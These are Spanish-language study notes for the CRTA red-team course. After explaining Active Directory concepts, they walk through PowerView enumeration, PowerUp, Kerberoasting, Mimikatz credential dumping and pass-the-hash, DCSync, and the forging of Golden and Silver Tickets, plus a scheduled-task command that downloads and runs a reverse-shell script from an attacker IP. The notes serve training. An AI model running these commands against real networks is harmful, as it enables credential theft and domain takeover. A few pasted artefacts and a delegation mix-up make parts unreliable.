# CRTA - CWL

***

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FMtU02ZQzCMzdMO3wXFoZ%2Fimage.png?alt=media&#x26;token=64502e15-19ee-4e42-adb4-6c703bef0347" alt=""><figcaption></figcaption></figure>

***

**Active Directory Forests/Dominio**

* **Forest**: Es una instancia única de Active Directory.
* **Dominio**: Es una colección de Controladores de Dominio que confían entre sí.
* **Unidades Organizativas (OU)**: Son agrupaciones lógicas de usuarios, computadoras y otros recursos.
* **Grupos**: Colección de usuarios o de otros grupos, que pueden ser privilegiados o no privilegiados.

**Objetos de Active Directory**

* Son las entidades físicas que conforman una red organizada.

**Usuarios del Dominio**:

* Son las cuentas de usuario que tienen permiso para autenticarse en las máquinas/servidores del dominio.

**Grupos del Dominio (Grupos Globales)**:

* Se utilizan para asignar permisos para acceder a recursos en cualquier dominio.

**Computadoras del Dominio**:

* Son las máquinas que están conectadas a un dominio y, por tanto, se convierten en miembros de dicho dominio.

***

**Controlador de Dominio**:

* Es un servidor ubicado de forma centralizada que responde a las solicitudes de autenticación de seguridad y gestiona varios recursos, como computadoras, usuarios, grupos, etc.

**Ejemplo**:\
Un **Controlador de Dominio** es un servidor como **DC1.empresa.com**, que autentica a los usuarios cuando intentan iniciar sesión en la red. Si **Juan Pérez** intenta acceder a su computadora, el controlador de dominio **DC1** verifica su identidad y le permite acceder a los recursos para los cuales tiene permisos.

***

**Objetos de Política de Grupo (GPOs)**:

* Son colecciones de políticas que se aplican a un conjunto de usuarios, dominios y objetos dentro de un dominio.

**Ejemplo**:\
Una empresa podría tener una **GPO** llamada **"Política de Contraseñas Seguras"** que se aplica a todos los usuarios del dominio. Esta política podría requerir que todos los usuarios cambien sus contraseñas cada 90 días, que la contraseña tenga al menos 12 caracteres y que incluya al menos un número y una letra mayúscula.

***

**Ticket Granting Ticket (TGT)**:

* Es un ticket utilizado específicamente para la autenticación de usuarios.

**Ticket Granting Service (TGS)**:

* Es un ticket utilizado específicamente para la autorización de los usuarios.

***

#### **Autorización en Active Directory**

**Concepto:**\
La **autorización** en Active Directory (AD) se refiere al proceso mediante el cual se determina si un **usuario** tiene **permiso** o **denegación** para acceder a un recurso dentro de la red de AD. Es decir, se trata de decidir si el usuario tiene los derechos necesarios para interactuar con un archivo, servidor, o cualquier otro recurso protegido en la red.

Active Directory valida el acceso a los recursos mediante el uso de un **token de seguridad**. Este token es un conjunto de datos que verifica si un usuario pertenece o no a la lista de control de acceso (**ACL**) de un objeto solicitado.

El **token de seguridad** se utiliza para verificar los permisos y derechos de acceso asociados a un usuario. Este contiene varios elementos importantes que ayudan a determinar el acceso.

***

#### **Componentes del Token de Seguridad:**

1. **Derechos del Usuario**: Especifican qué acciones el usuario puede realizar en los recursos, como leer, escribir o eliminar.
2. **SID del Grupo** (Security Identifier): Cada grupo al que el usuario pertenece tiene un SID único. Los grupos permiten asignar permisos a un conjunto de usuarios.
3. **SID Individual**: Un identificador único para cada usuario. Es la principal forma de identificar a un **principio de seguridad** (usuario o grupo) en Active Directory.
4. **Identificador de Seguridad (SID)**: Es un valor único asignado a cada usuario o grupo en el dominio. Los SIDs son fundamentales para la autorización, ya que se utilizan para verificar que el usuario o grupo tenga acceso a los recursos solicitados.

***

## <mark style="color:red;">Enumeración de Active Directory usando PowerView</mark>

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1>" %}

1. <mark style="color:red;">**Obtener acceso a la máquina víctima**</mark><mark style="color:red;">:</mark> Necesitas acceso a una máquina dentro de la red que pertenezca al dominio de Active Directory que estás atacando. Este acceso puede ser obtenido mediante **explotación de vulnerabilidades**, **phishing**, **credenciales robadas**, etc.
2. <mark style="color:red;">**Ejecutar PowerView**</mark><mark style="color:red;">:</mark>

   * Una vez que tienes acceso a la máquina, **descargas o transfieres** el script de PowerView a la máquina víctima.
   * Luego **ejecutas el script de PowerView en PowerShell** de la máquina comprometida.

   **Ejemplo**:

   ```powershell
   Import-Module .\PowerView.ps1
   ```

Esto carga las funciones de PowerView, que puedes usar para hacer enumeración, como obtener información sobre dominios, usuarios, computadoras, etc.

**Usar los comandos de PowerView**: Una vez cargado el script, puedes usar los comandos que mencioné anteriormente, como `Get-NetDomain`, `Get-NetUser`, `Get-NetComputer`, etc., para obtener información sobre el dominio.

> * **PowerView** no está preinstalado en las máquinas víctima. Debes **transferir el script** y ejecutarlo en una máquina dentro del dominio o en una máquina comprometida que ya esté dentro de la red.
> * Una vez en la máquina, **puedes usar sus comandos para enumerar el entorno de Active Directory**.

<details>

<summary><mark style="color:red;">Enumeración de Active Directory usando PowerView</mark></summary>

1. **Obtener el dominio actual**:

   * El comando **`Get-NetDomain`** obtiene el dominio activo.

   ```powershell
   Get-NetDomain
   Get-NetDomain –Domain cyberwarfare.corp
   ```

   * **Propósito**: Este comando obtiene el dominio actual del entorno de Active Directory. Si se especifica el nombre del dominio, como `cyberwarfare.corp`, obtendrá información específica sobre ese dominio.
2. **Obtener SID y controlador de dominio**:

   * Para obtener el **SID (Security Identifier)** del dominio y el controlador de dominio (Domain Controller):

   ```powershell
   Get-NetDomainController –Domain cyberwarfare.corp
   Get-DomainSID
   ```

   * **Propósito**: Los controladores de dominio son servidores responsables de gestionar las solicitudes de autenticación en un dominio. El **SID** es un identificador único utilizado para reconocer y administrar a los usuarios y grupos en el dominio.
3. **Obtener lista de usuarios en el dominio**:

   * El comando **`Get-NetUser`** obtiene los usuarios de Active Directory:

   ```powershell
   Get-NetUser
   Get-NetUser –UserName emp1
   ```

   * **Propósito**: Esto enumera todos los usuarios en el dominio. Al usar un nombre de usuario específico como `emp1`, puedes obtener detalles sobre ese usuario en particular.
4. **Obtener lista de computadoras en el dominio**:

   * El comando **`Get-NetComputer`** obtiene la lista de computadoras en el dominio:

   ```powershell
   Get-NetComputer
   Get-NetComputer – FullData
   Get-NetComputer –OperatingSystem “Windows Server 2016 Standard”
   ```

   * **Propósito**: Este comando devuelve una lista de computadoras en el dominio. Puedes obtener información más detallada (como su sistema operativo) con el parámetro `–FullData` y filtrarlas por un sistema operativo específico (por ejemplo, `Windows Server 2016 Standard`).
5. **Listar todos los grupos de dominio en el dominio actual**:

   * **`Get-NetGroup`** lista todos los grupos de dominio:

   ```powershell
   Get-NetGroup
   Get-NetGroup –FullData
   Get-NetGroup –Domain cyberwarfare.corp
   ```

   * **Propósito**: Esto muestra todos los grupos de seguridad definidos en el dominio actual. El parámetro `–FullData` proporciona información detallada sobre cada grupo, y `–Domain` permite especificar un dominio en particular.
6. **Enumerar miembros de grupos privilegiados y administradores locales**:

   * El comando **`Get-NetGroupMember`** obtiene los miembros de un grupo específico:

   ```powershell
   Get-NetGroupMember –GroupName “Domain Admins” -verbose
   Get-NetLocalGroup –ComputerName DC-01 -ListGroups
   ```

   * **Propósito**: Enumerar los miembros de grupos privilegiados como los **“Domain Admins”** y los administradores locales en un servidor específico (por ejemplo, `DC-01`).
7. **Enumeración de ACLs (Access Control Lists)**:

   * Para obtener los **ACLs asociados** con un objeto en el dominio:

   ```powershell
   Get-ObjectAcl -SamAccountName <Domain_User> –ResolveGUIDs
   Invoke-ACLScanner –ResolveGUIDs
   ```

   * **Propósito**: Las **ACLs** definen qué usuarios o grupos tienen acceso a qué recursos. Este comando permite ver los permisos y controles de acceso asociados con un usuario o grupo específico.
8. **Enumeración de los "Domain Trusts"**:

   * El comando **`Get-NetDomainTrust`** se utiliza para ver las relaciones de confianza entre dominios:

   ```powershell
   Get-NetDomainTrust
   Get-NetDomainTrust –Domain cyberwarfare.corp
   ```

   * **Propósito**: Las relaciones de confianza entre dominios permiten que los usuarios de un dominio accedan a los recursos de otro dominio. Este comando muestra las relaciones de confianza configuradas en el dominio.
9. **Enumerar todos los dominios en un bosque (Forest)**:

   * Para obtener información sobre todos los dominios dentro de un **Forest** (un conjunto de dominios):

   ```powershell
   Get-NetForestDomain –Verbose
   Get-NetForest –Verbose
   ```

   * **Propósito**: En Active Directory, un **Forest** es un conjunto de dominios que comparten un esquema de base de datos común. Este comando enumera todos los dominios dentro de un bosque específico.
10. **Encontrar sesiones de computadoras donde el usuario actual tiene acceso como administrador local**:

    * **`Find-LocalAdminAccess`** se usa para buscar cuentas con privilegios de administrador local en máquinas de la red.

    ```powershell
    Find-LocalAdminAccess -Verbose
    ```

    * **Propósito**: Este comando busca todas las máquinas dentro del dominio donde el usuario actual tiene acceso de administrador local, lo cual es útil para identificar puntos de acceso privilegiados en la red interna.

</details>

***

## <mark style="color:red;">Uso de PowerUP en la Escalación de Privilegios Locales en Windows</mark>

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc>" %}

**PowerUP** es un **script de PowerShell** diseñado para ayudar a los **penetration testers** y **red teams** a **escalar privilegios** en máquinas **Windows**.

* **Comando para Escalación de Privilegios Locales:**

  ```powershell
  .\PowerUP.ps1
  Invoke-AllChecks –Verbose
  ```

  * Esto ejecutará **todas las verificaciones** en el sistema para buscar **posibles debilidades** que puedan permitir la **escalación de privilegios**.
* **Listar servicios que pueden ser configurados para escalar privilegios**:

  ```powershell
  Get-ModifiableService -Verbose
  ```
* **Verificar rutas de servicios sin comillas** (lo que puede permitir la escalación de privilegios si hay rutas mal configuradas):

  ```powershell
  Get-ServiceUnquoted -Verbose
  ```

#### **¿Por qué esto es importante?**

* **Escalar privilegios** es un paso crítico para **tomar el control total de un sistema**. Si el atacante obtiene privilegios de administrador o root, puede acceder a **todos los archivos y configuraciones** del sistema, manipular la red y obtener acceso a más sistemas dentro de la infraestructura.

***

## <mark style="color:red;">Escalada de Privilegios Locales y Dumping de Credenciales</mark>

Cuando un atacante tiene suficientes **privilegios** en una máquina **local**, puede intentar obtener acceso a información más sensible o privilegiada, como las credenciales de **administradores** o **cuentas de servicio**.

**Técnica: Credential Dumping (Volcado de Credenciales)**

El **dumping de credenciales** es un ataque en el cual un atacante extrae las credenciales de los usuarios, especialmente las de **administradores** o **servicios** del sistema. Estas credenciales se pueden utilizar para **escalar privilegios** o moverse lateralmente dentro de la red.

**Cuentas de servicio con privilegios de administrador**

* Las **cuentas de servicio** son usadas por los servicios del sistema operativo o aplicaciones, y generalmente tienen privilegios de **administrador**. Esto las convierte en objetivos atractivos para los atacantes.
* Estas cuentas **generalmente** no tienen su **contraseña cambiada** con frecuencia, lo que permite a los atacantes **obtener las credenciales en texto claro** utilizando técnicas de **Kerberoasting**.

**Comando de PowerShell: “Invoke-UserHunter”**

* **Invoke-UserHunter** es una herramienta que se utiliza para identificar **sesiones activas** de usuarios con privilegios elevados, como los de **Domain Admin**. El comando se usa para buscar las **sesiones activas** y obtener información sobre las cuentas de usuario de alto privilegio.

Comando de **PowerShell**:

```powershell
Invoke-UserHunter
```

Este comando buscará las **sesiones activas** de los usuarios con **privilegios elevados** dentro del dominio y te proporcionará los detalles necesarios para poder realizar un ataque si es necesario.

## <mark style="color:red;">**Kerberoasting**</mark>

**Kerberoasting** es una técnica que se utiliza para obtener las credenciales de **cuentas de servicio**. A través de esta técnica, el atacante puede obtener el **Ticket Granting Ticket (TGT)** de la cuenta de servicio, luego obtener el **Ticket Granting Service (TGS)** y utilizarlo para **realizar un ataque de fuerza bruta** contra la contraseña de la cuenta de servicio.

El proceso general de **Kerberoasting** es el siguiente:

1. El atacante solicita un **TGT** al **Controlador de Dominio (DC)**.
2. Después de obtener el **TGT**, se solicita el **TGS** para acceder a un servicio específico de la máquina.
3. El **TGS** es cifrado con el hash de la cuenta de servicio de destino.
4. El atacante puede **extraer el TGS** y luego realizar un **ataque de fuerza bruta** sobre el TGS utilizando un diccionario de contraseñas.

Comando de **PowerShell** para Kerberoasting:

```powershell
powershellCopiarEditarInvoke-Mimikatz -Command '"kerberos::krb5tgs /user:<user> /domain:<domain>"'
```

***

## **Encontrar las cuentas de usuario utilizadas como cuentas de servicio**

Para identificar **cuentas de servicio** en el dominio, podemos usar el siguiente comando con **PowerView**:

```powershell
Get-NetUser –SPN
```

* Este comando muestra las cuentas que tienen un **SPN (Service Principal Name)** asociado. Las cuentas de servicio generalmente tienen un SPN para identificarlas dentro de la red.

**2. Solicitar el TGS (Ticket Granting Service) para la cuenta de servicio**

Una vez que tenemos una cuenta de servicio, necesitamos solicitar el **TGS** (ticket de servicio) asociado con esa cuenta. Esto se hace con el siguiente comando:

```powershell
Request-SPNTicket
```

* Esto solicita el **TGS** para la cuenta de servicio especificada.

**3. Verificar el TGS en memoria**

Para verificar si el ticket ha sido correctamente almacenado en memoria, utilizamos el comando:

```powershell
klist
```

* Este comando muestra los **tickets** que están almacenados en memoria, y confirma que el TGS de la cuenta de servicio ha sido guardado.

**4. Exportar el ticket con Mimikatz**

Con el ticket almacenado, ahora podemos usar **Mimikatz** para **exportarlo** y obtener los detalles de la cuenta de servicio, incluyendo el hash necesario para crackear la contraseña.

```powershell
Invoke-Mimikatz -Command '"kerberos::list /export"'
```

* **Mimikatz** extraerá el TGS y lo exportará en un formato que podamos utilizar para el siguiente paso.

**5. Crackear la contraseña de la cuenta de servicio**

El siguiente paso consiste en crackear la **contraseña de la cuenta de servicio** usando una herramienta de fuerza bruta como **tgsrepcrack.py**. Esta herramienta utilizará un archivo de contraseñas (por ejemplo, un diccionario de contraseñas) para intentar descifrar la contraseña de la cuenta de servicio.

```bash
python.exe .\tgsrepcrack.py .\passwords.txt ‘.\Ticket.kirbi'
```

* En este comando, **tgsrepcrack.py** intentará crackear el hash contenido en el archivo **Ticket.kirbi** usando las contraseñas del archivo **passwords.txt**.

***

## <mark style="color:red;">**PowerShell Remoting**</mark>

PowerShell Remoting es una funcionalidad de Windows que permite a los administradores conectarse a computadoras o servidores de forma remota para ejecutar comandos. Este método es particularmente útil para los atacantes que han logrado escalar privilegios a nivel de administrador.

**Comando para Activar PowerShell Remoting:**

```powershell
Enable-PSRemoting -SkipNetworkProfileCheck -Verbose -Force
```

**Comandos Ejemplos:**

* **Iniciar una nueva sesión remota:**

  ```powershell
  $session = New-PSSession –Computername Windows-Server
  ```
* **Ejecutar comandos en la sesión remota:**

  ```powershell
  Invoke-Command –Session $session –ScriptBlock {Whoami;hostname}
  ```
* **Entrar a la sesión remota:**

  ```powershell
  Enter-PSSession –Session $session -verbose
  ```

**Descripción:**

* **WinRM** corre por defecto en los puertos TCP **5985 (HTTP)** y **5986 (HTTPS)**, y está habilitado por defecto en Windows Server 2012 y versiones posteriores.
* PowerShell Remoting permite ejecutar comandos y scripts en **servidores Windows** y también en **máquinas Linux** si se utiliza PowerShell (proyecto de código abierto).

#### **2. Mimikatz PowerShell Script**

**Mimikatz** es una herramienta poderosa utilizada para la recolección de credenciales y el volcado de tickets de **Kerberos** en memoria. Es muy conocida en las pruebas de penetración y en los entornos de red comprometidos.

**Comando para Volcar Credenciales:**

```powershell
Invoke-Mimikatz -DumpCreds -Verbose
```

**Comando para Volcar Credenciales en Múltiples Máquinas:**

```powershell
Invoke-Mimikatz –DumpCreds –ComputerName @(“comp1”,”comp2”)
```

**Comando para el Ataque "Pass-the-Hash" (PTH):**

```powershell
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:cyberwarfare.corp/hash:/run:powershell.exe"'
```

**Descripción:**

* **Mimikatz** es capaz de realizar el **dumping** de credenciales de usuarios de la máquina local, incluidos los hashes de contraseñas y otros tokens de autenticación.
* También se utiliza para realizar ataques **Pass-the-Hash** (PTH), donde un atacante utiliza un hash de la contraseña en lugar de la contraseña misma para obtener acceso a otros recursos en la red.

***

## <mark style="color:red;">Delegación No Restringida (Unconstrained Delegation)</mark>

> La **delegación no restringida** es una característica de Kerberos que permite que un servidor actúe en nombre de un usuario para acceder a recursos en otros servidores sin la necesidad de que el usuario reautentique. Es una técnica muy poderosa que puede ser mal utilizada por atacantes si no se configura adecuadamente.

#### **¿Cómo Funciona la Delegación No Restringida?**

Cuando la delegación **restringida** está habilitada, el controlador de dominio (DC) coloca el **TGT** (Ticket Granting Ticket) del usuario dentro del **TGS** (Ticket Granting Service). Si el servidor al que se presenta el TGT tiene habilitada la delegación no restringida, este TGT es extraído del TGS y se almacena en la memoria.

**En resumen**:

1. Un atacante puede extraer el **TGT** y usarlo para acceder a cualquier recurso como si fuera el usuario original.
2. **Consecuencia grave**: Si el atacante obtiene el **TGT** de un **Domain Admin**, puede obtener acceso completo al dominio.

**Comando para listar las computadoras con delegación no restringida habilitada:**

```powershell
Get-NetComputer –unconstrained -verbose
```

***

#### **Pasos de Abuso de Delegación No Restringida**

**1. Compromiso del Servidor con Delegación No Restringida:**

* El atacante compromete un servidor en la red donde está habilitada la delegación no restringida.

**2. Engaño al Usuario Privilegiado (Social Engineering):**

* A través de técnicas de **ingeniería social**, el atacante puede engañar al **Domain Admin** o cualquier otro usuario privilegiado para que se conecte al servidor ya comprometido.

**3. Extracción del TGT del Domain Admin:**

* Una vez que el usuario se conecta al servidor comprometido, el atacante extrae el **TGT** del **Domain Admin** y lo almacena en la memoria.

**4. Reutilización del TGT para Operaciones con Privilegios de Admin:**

* El atacante reutiliza el **TGT** para ejecutar otras operaciones como **Domain Admin**.

**Comandos para realizar el ataque de DCSYNC (sin necesidad de ejecución de código en el DC):**

```powershell
Invoke-Mimikatz –Command '"kerberos::pttticket.kirbi"'
Invoke-Mimikatz –Command '"sekurlsa::tickets /export"'
Invoke-Mimikatz -Command '"lsadump::dcsync /user:cyberwarfare\krbtgt"'
```

> La delegación no restringida permite que los atacantes exploten un servidor para acceder a otros recursos como si fueran el usuario que se conectó originalmente, lo que puede tener consecuencias muy graves, especialmente si el atacante obtiene las credenciales de un **Domain Admin**. Es fundamental que esta configuración esté correctamente controlada para evitar que los atacantes utilicen esta técnica en redes comprometidas.

***

## <mark style="color:red;">**Persistence y Exfiltración de Datos**</mark>

> **Persistence** (persistencia) se refiere a la habilidad de un atacante para mantener el acceso a los sistemas comprometidos durante un período prolongado, incluso después de que se haya detectado y mitigado el ataque inicial. La **exfiltración de datos** se refiere al proceso de robo de datos confidenciales de la red comprometida de manera oculta para evitar ser detectado.
>
> #### **Objetivo del Atacante:**
>
> Una vez que el atacante ha identificado activos críticos y obtenido privilegios suficientes, intentará:
>
> 1. **Establecer persistencia** en los sistemas comprometidos.
> 2. **Exfiltrar datos de manera sigilosa** para evitar la detección.

#### **Técnicas de Exfiltración de Datos**

El atacante puede usar diferentes métodos y protocolos para exfiltrar los datos sin ser detectado. Algunas de las técnicas de exfiltración incluyen:

* **Exfiltración Automatizada** \[T1020]: Uso de scripts automatizados para extraer grandes cantidades de datos sin intervención manual.
* **Exfiltración a través de un Protocolo Alternativo** \[T1048]: Utilizar protocolos menos comunes o sin seguridad para transferir datos fuera de la red.
* **Exfiltración a través de un Medio Físico** \[T1052]: Usar dispositivos físicos como memorias USB para sacar datos de la red.
* **Transferir Datos a una Cuenta en la Nube** \[T1537]: Subir los datos robados a servicios de almacenamiento en la nube.

***

## <mark style="color:red;">**Golden Ticket Attack (Ataque del Ticket Dorado)**</mark>

Un **Golden Ticket** es un ticket generado de manera manual por un atacante que le permite acceder a cualquier recurso en un dominio Kerberos. El ticket está firmado y encriptado con el **hash de la cuenta `krbtgt`**, que es una cuenta crítica dentro del dominio.

**Requisitos:**

* **SID del dominio**
* **Hash de `krbtgt`**
* **Nombre del dominio**
* **SID en ataques entre bosques** (si se usa en un entorno más grande)

**Pasos para crear un Golden Ticket:**

1. El atacante genera el **Golden Ticket** utilizando el **hash de `krbtgt`**.
2. El ticket se envía al **Controlador de Dominio (DC)** para obtener el **TGS** (servicio de autorización).
3. El atacante puede usar el TGS para **autenticarse** y obtener acceso a recursos protegidos.

**Comandos utilizados para generar un Golden Ticket:**

* **Obtener hash de `krbtgt`:**

  ```bash
  Invoke-Mimikatz -Command '"lsadump::dcsync /user:cyberwarfare\krbtgt"'
  ```
* **Crear un Golden Ticket:**

  ```bash
  Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:cyberwarfare.corp /sid:S-1-5-21-xxxxx-yyyyy-xxxxx /krbtgt:xxxxxxxxxxxxxxxxxx /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
  ```

  **Explicación de parámetros:**

  * **/User:** Nombre del usuario para el cual se genera el TGT.
  * **/domain:** Nombre completo del dominio.
  * **/sid:** SID del dominio.
  * **/krbtgt:** Hash de la cuenta `krbtgt` para firmar el ticket.
  * **/ptt:** Inyecta el ticket en la sesión actual (memoria).
  * **/ticket:** Guarda el ticket en un archivo `.kirbi`.

***

#### **Silver Ticket Attack**

Un **Silver Ticket** es similar al Golden Ticket pero se usa para acceder a un servicio específico en el dominio, en lugar de a todo el dominio.

**Pasos para crear un Silver Ticket:**

1. El atacante crea un Silver Ticket utilizando el **hash de cuenta de servicio**.
2. Utiliza el ticket para **ejecutar tareas maliciosas** en un servidor de destino.

**Comando para ejecutar un Silver Ticket:**

* **Comando para crear el Silver Ticket:**

  ```bash
  Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:cyberwarfare.corp /sid:S-1-5-21-xxxxx-yyyyy-xxxxx /target:exterprise-dc.cyberwarfare.corp /service:HOST /rc4:xxxxx /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
  ```
* **Ejecutar tareas en un servidor remoto usando el Silver Ticket:**

  ```bash
  schtasks /create /S enterprise-dc.cyberwarfare.corp /SC Weekly /RU "NT Authority\SYSTEM" /TN “lateral" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://10.10.10.1:8000/InvokePowerShellTcp.ps1'')'"
  schtasks /Run /S enterprise-dc.cyberwarfare.corp /TN "STCheck"
  ```

***

#### **Extraer el hash de la cuenta `krbtgt` y usarlo para forjar un Golden Ticket:**

1. **Obtener SID del dominio**:

   ```bash
   whoami /all
   ```
2. **Forjar el Golden Ticket en un dominio con el siguiente comando:**

   ```bash
   Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:cyberwarfare.corp /sid:S-1-5-21-xxxxx-yyyyy-xxxxx /krbtgt:xxxxxxxxxxxxxxxxxx /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
   ```
3. **Comando adicional para exportar el ticket y continuar con la exfiltración o los ataques.**

> Este proceso muestra cómo un atacante podría utilizar los **Golden** y **Silver Tickets** para obtener acceso no autorizado a servicios dentro de un dominio Active Directory y **exfiltrar datos** utilizando técnicas de persistencia.

***
